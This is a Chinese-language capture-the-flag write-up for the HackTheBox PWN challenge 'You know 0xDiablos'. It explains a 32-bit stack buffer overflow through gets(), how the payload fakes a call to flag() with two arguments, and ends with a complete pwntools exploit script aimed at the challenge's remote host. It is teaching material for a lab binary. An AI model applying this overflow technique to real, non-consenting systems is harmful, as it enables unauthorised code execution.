本文主要是介绍HTB-You know 0xDiablos，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
引言
- 项目概述：HTB的EASY难度 PWN靶机 You know 0xDiablos https://app.hackthebox.com/challenges/106 本文详细解释了溢出payload的结构以及为什么要这样构造，友好的为想要入手PWN的朋友解释了原理
- 技术点涉及: 32位linux逆向、32位程序调用、栈溢出
- 目标与读者：网络安全兴趣爱好者、PWN新手
基本情况
运行看看
└─$ ./vuln
You know who are 0xDiablos:
aaaa
aaaa
输入啥，就吐出啥
使用checksec查一下保护
─$ checksec vuln
[*] '/home/att/htb/Youknow0xDiablos/vuln'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: No PIE (0x8048000)Stack: ExecutableRWX: Has RWX segments
意思是没有任何保护，实实在在的新手题，可以更聚焦栈溢出的核心原理
逆向分析
将程序放到IDA分析
主函数中发现一个叫做vuln的函数
应该就是目标了
gets()很标准的高危函数
这里有个数组s距离ebp B8H
gets(s)，那么就可以利用这个s数组进行溢出
junk = b'a'*0xB8
想象下，我们输入了大量垃圾内容，从栈的某个位置一直写到栈的底部，栈底指针EBP指向的是父函数的EBP值，然后EBP+0x4的位置就是存放的当前函数的返回地址(父函数调用当前函数后的下一行指令地址)
是不是多写点就可以改变函数的运行
那么攻击载荷就可以这样大致构建了
payload = junk + ebp+ret
很明显，是要我去分析那个flag函数
flag函数打开了flag.txt，如果两个参数比较成功就会返回读取的值
就是说我还得在栈中构建好两个参数
最终的攻击载荷大致就是这个结构
payload = junk + ebp+ret + ret2 + arg1 + arg2
call逻辑讲解
这里来讲解下为什么要这么构建payload
由于IDA F5是变成了伪C代码，所以调用约定是C的调用约定
32位程序，参数从右至左，依次入栈
正常call flag的流程如下
push arg2
push arg1call flag_addrxxxcommandflag:
/*进入函数前相当于做个这个操作，这里我是用汇编命令做比喻，而不是真的执行了这两个命令
push ret(xxxcommand的地址)
mov eip ,flag_addr
*/; 保存返回地址push ebpmov ebp, esp; 访问第一个参数（eax）mov eax, [ebp + 8]; 访问第二个参数（ebx）mov ebx, [ebp + 12]; 执行函数体; ...; 恢复返回地址mov esp, ebppop ebpret而我要伪造一个call，就需要在栈里面调整好参数的站位，而且要注意我使用ret，而不是call，ret不会push一个地址进去。下面我会详细讲解为什么payload是这样构造的，结构为什么这样排列
正常call的栈ebp_调用flag函数的EBP指针的值（进入函数后第一个指令就是push ebp,这里打个Tab用来区分其他已有的内容）ret_addr_调用flag函数的下一行指令的地址
arg1
arg2
而我要调用flag，就得将返回地址覆盖为flag的地址
大致的载荷构建结构如下
xxxxx垃圾数据
+
ebp_调用flag的父函数的ebp
+
flag()的地址
而且flag还有参数
xxxxx垃圾数据
+
ebp_随便一个EBP地址，反正不用回主函数了
+
flag()函数的地址
+（这个在载荷中去掉，理由是从返回结果推导得到）ebp_随便一个EBP地址，反正不用回vuln函数了(正常call才要这个)，这里是直接用的ret跳到flag()了
+ret_回vuln的地址，为什么我会留下作为理解，而不是ebp，是因为实际进入flag()函数的时候，栈顶的位置就应该是返回地址而不是ebp，后面执行第一个指令`push ebp`，才会将ebp写入栈顶，而且flag()执行完毕后最终会返回到这个地址+
arg1
+
arg2
所以32位的paylaod像这构造
payload = junk + ebp + ret + ret2 + arg1 + arg2
发送payload
可以看到刚进flag函数的时候
栈顶的值是这样，这时候还没有执行push ebp，说明如果这是正常的call的话，这里存放的应该是调用flag()的下一行指令的地址，也就是flag()执行完毕后需要返回的地址，这里的ebp的值是0x62626262是因为ebp=b'b'*4，我随便写的四个b在哪里占位置
0xffce8ac0: 0xdeadbeef63636363
完整的poc如下
from pwn import *target='./vuln'
# context.binary指定了目标程序后，例如pack就可以自动根据目标是多少位来打包context.binary = target
e = ELF(target)
# 远程连接
r=remote('83.136.253.163', 37682)# 本地执行
# r=process(target)# 本地调用gdb进行调试
# r=gdb.debug(target)
junk=b'a'*0xB8
ebp=b'b'*4
ret=0x080491E2
ret2=b'c'*4
arg1=0xDEADBEEF
arg2=0xC0DED00D
# pack 根据context.binary的环境来打包，这里由于是32位可执行文件，所以这里的pack可以视同为p32,打包为32位小端字节序
payload=junk+ebp+pack(ret)+ret2+pack(arg1)+pack(arg2)
# print(payload)
tmp=r.sendlineafter(b'You know who are 0xDiablos:', payload)
# 转化为交互式，就不用一直print输出的值了
r.interactive()
这篇关于HTB-You know 0xDiablos的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
